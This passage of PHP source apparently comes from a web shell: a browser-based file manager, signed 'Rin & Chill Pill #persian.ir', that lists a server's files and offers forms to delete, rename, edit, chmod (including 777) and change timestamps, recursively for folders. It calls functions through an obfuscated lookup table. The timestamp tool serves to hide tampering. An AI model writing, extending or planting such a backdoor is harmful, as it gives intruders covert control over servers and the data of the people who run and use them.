  <a href=\"" . $chmUrl . "\">&#128274; Chmod</a> |
  <a href=\"" . $chdUrl . "\">&#128197; Chdate</a>
</td>
</tr>";
}

// File
foreach ($files as $f) {
    $path    = $mypwsd . '/' . $f;
    $nameEsc = $fx['hsc']($f, ENT_QUOTES, 'UTF-8');

    $size = @$fx['sz']($path);
    if ($size === false) {
        $size = 'N/A';
    } else {
        if ($size >= 1048576) {
            $size = round($size / 1048576, 2) . ' MB';
        } elseif ($size >= 1024) {
            $size = round($size / 1024, 2) . ' KB';
        } else {
            $size = $size . ' B';
        }
    }

    // date modified
    $mtime = @filemtime($path);
    $modStr = $mtime ? date('Y-m-d H:i:s', $mtime) : '-';
    
    $perms   = fileperms($path);
    $permStr = substr(sprintf('%o', $perms), -4);

    $delUrl = '?del=' . $fx['url']($path) . '&d=' . $fx['url']($mypwsd);
    $renUrl = '?r='   . $fx['url']($path) . '&d=' . $fx['url']($mypwsd);
    $edtUrl = '?e='   . $fx['url']($path) . '&d=' . $fx['url']($mypwsd);
    $chmUrl = '?c='   . $fx['url']($path) . '&d=' . $fx['url']($mypwsd);
    $chdUrl = '?t='   . $fx['url']($path) . '&d=' . $fx['url']($mypwsd);

    echo "<tr class='file-row'>
<td><a href=\"#\" style='color:#0f0'>&#128196; " . $nameEsc . "</a></td>
<td>" . $size . "</td>
<td>" . $fx['hsc']($modStr, ENT_QUOTES, 'UTF-8') . "</td>
<td>" . $permStr . "</td>
<td>
  <a href=\"" . $delUrl . "\">&#128465; Del</a> |
  <a href=\"" . $renUrl . "\">&#9998; Rename</a> |
  <a href=\"" . $edtUrl . "\">&#9999; Edit</a> |
  <a href=\"" . $chmUrl . "\">&#128274; Chmod</a> |
  <a href=\"" . $chdUrl . "\">&#128197; Chdate</a>
</td>
</tr>";
}

echo "</table>";

if (isset($_GET['r'])) {
    $f       = $_GET['r'];
    $fEsc    = $fx['hsc']($f, ENT_QUOTES, 'UTF-8');
    $base    = $fx['bsn']($f);
    $baseEsc = $fx['hsc']($base, ENT_QUOTES, 'UTF-8');

    echo "<div style='border: 1px solid #444; padding: 15px; background: #1a1a1a; margin: 20px 0;'>
<h3>&#9998; Rename File/Folder</h3>
<form method='POST'>
  <input type='hidden' name='d' value='" . $fx['hsc']($mypwsd, ENT_QUOTES, 'UTF-8') . "'>
  <input type='hidden' name='a' value='rename'>
  <input type='hidden' name='src' value=\"" . $fEsc . "\">
  <div>Now: <strong>" . $baseEsc . "</strong></div>
  <input type='text' name='newname' value=\"" . $baseEsc . "\" style='width:100%;margin:5px 0' placeholder='New name'>
  <input type='submit' value='Rename'>
</form>
</div>";
}

if (isset($_GET['e']) && $isFileFunc($_GET['e'])) {
    $f    = $_GET['e'];
    $data = $fx['hsc']($fx['get']($f), ENT_QUOTES, 'UTF-8');
    $fEsc = $fx['hsc']($f, ENT_QUOTES, 'UTF-8');

    echo "<div style='border: 1px solid #444; padding: 15px; background: #1a1a1a; margin: 20px 0;'>
<h3>&#9999; Edit File</h3>
<form method='POST'>
  <input type='hidden' name='d' value='" . $fx['hsc']($mypwsd, ENT_QUOTES, 'UTF-8') . "'>
  <input type='hidden' name='a' value='edit'>
  <input type='text' name='src' value=\"" . $fEsc . "\" style='width:100%;margin:5px 0' readonly>
  <textarea name='dat' rows='15' cols='80' style='width:100%;margin:5px 0'>" . $data . "</textarea><br>
  <input type='submit' value='Save Changes'>
</form>
</div>";
}

if (isset($_GET['c'])) {
    $f    = $_GET['c'];
    $fEsc = $fx['hsc']($f, ENT_QUOTES, 'UTF-8');
    
    $currentPerms = substr(sprintf('%o', fileperms($f)), -4);
    
    echo "<div style='border: 1px solid #444; padding: 15px; background: #1a1a1a; margin: 20px 0;'>
<h3>&#128274; Change Permissions</h3>
<form method='POST'>
  <input type='hidden' name='d' value='" . $fx['hsc']($mypwsd, ENT_QUOTES, 'UTF-8') . "'>
  <input type='hidden' name='a' value='chmod'>
  <input type='text' name='src' value=\"" . $fEsc . "\" style='width:100%;margin:5px 0' readonly>
  <div>Current permissions: <strong>" . $currentPerms . "</strong></div>
  <select name='perm' style='width:100%;margin:5px 0'>
    <option value=''>Select permissions...</option>
    <option value='644'>644 - Owner RW, Group R, Others R</option>
    <option value='755'>755 - Owner RWX, Group RX, Others RX</option>
    <option value='777'>777 - Everyone RWX</option>
    <option value='755'>755 - Directory (Recommended)</option>
    <option value='644'>644 - File (Recommended)</option>
  </select>
  <div>Or enter custom: <input type='text' name='perm_custom' placeholder='e.g., 0755' style='width:100px'></div>
  <input type='submit' value='Apply Permissions'>
</form>
</div>";
}

// FORM CHDATE
if (isset($_GET['t'])) {
    $f    = $_GET['t'];
    $fEsc = $fx['hsc']($f, ENT_QUOTES, 'UTF-8');
    $isDir = $fx['isd']($f);

    $mtime = @filemtime($f);
    if ($mtime === false) {
        $defaultTime = date('Y-m-d H:i:s');
    } else {
        $defaultTime = date('Y-m-d H:i:s', $mtime);
    }
    $defaultTimeEsc = $fx['hsc']($defaultTime, ENT_QUOTES, 'UTF-8');

    echo "<div style='border: 1px solid #444; padding: 15px; background: #1a1a1a; margin: 20px 0;'>
<h3>&#128197; Change Date / Time</h3>
<form method='POST'>
  <input type='hidden' name='d' value='" . $fx['hsc']($mypwsd, ENT_QUOTES, 'UTF-8') . "'>
  <input type='hidden' name='a' value='chdate'>
  <input type='hidden' name='src' value=\"" . $fEsc . "\">
  <div>Target: <strong>" . $fEsc . "</strong></div>
  <div style='margin-top:5px;'>New datetime (YYYY-MM-DD HH:MM:SS):</div>
  <input type='text' name='time' value=\"" . $defaultTimeEsc . "\" style='width:100%;margin:5px 0'>
";

    if ($isDir) {
        echo "<label style='display:block;margin:5px 0;'>
    <input type='checkbox' name='recursive' value='1' checked> all file & dir (recursive)
  </label>";
    }

    echo "
  <input type='submit' value='Apply Date/Time'>
</form>
</div>";
}

echo "<footer><hr><small>
<span style='font-size:16px'>Made with <span style='color:#f66'>&lt;3</span> by Rin &amp; Chill Pill<br>
<i>#persian.ir</i>
</small></footer>

<script>
document.addEventListener('DOMContentLoaded', function() {
    const permSelect = document.querySelector('select[name=\"perm\"]');
    const permCustom = document.querySelector('input[name=\"perm_custom\"]');
    
    if (permSelect && permCustom) {
        permSelect.addEventListener('change', function() {
            if (this.value) {
                permCustom.value = this.value;
            }
        });
        
        permCustom.addEventListener('input', function() {
            if (this.value) {
                permSelect.value = '';
            }
        });
    }
});
</script>

</body></html>";

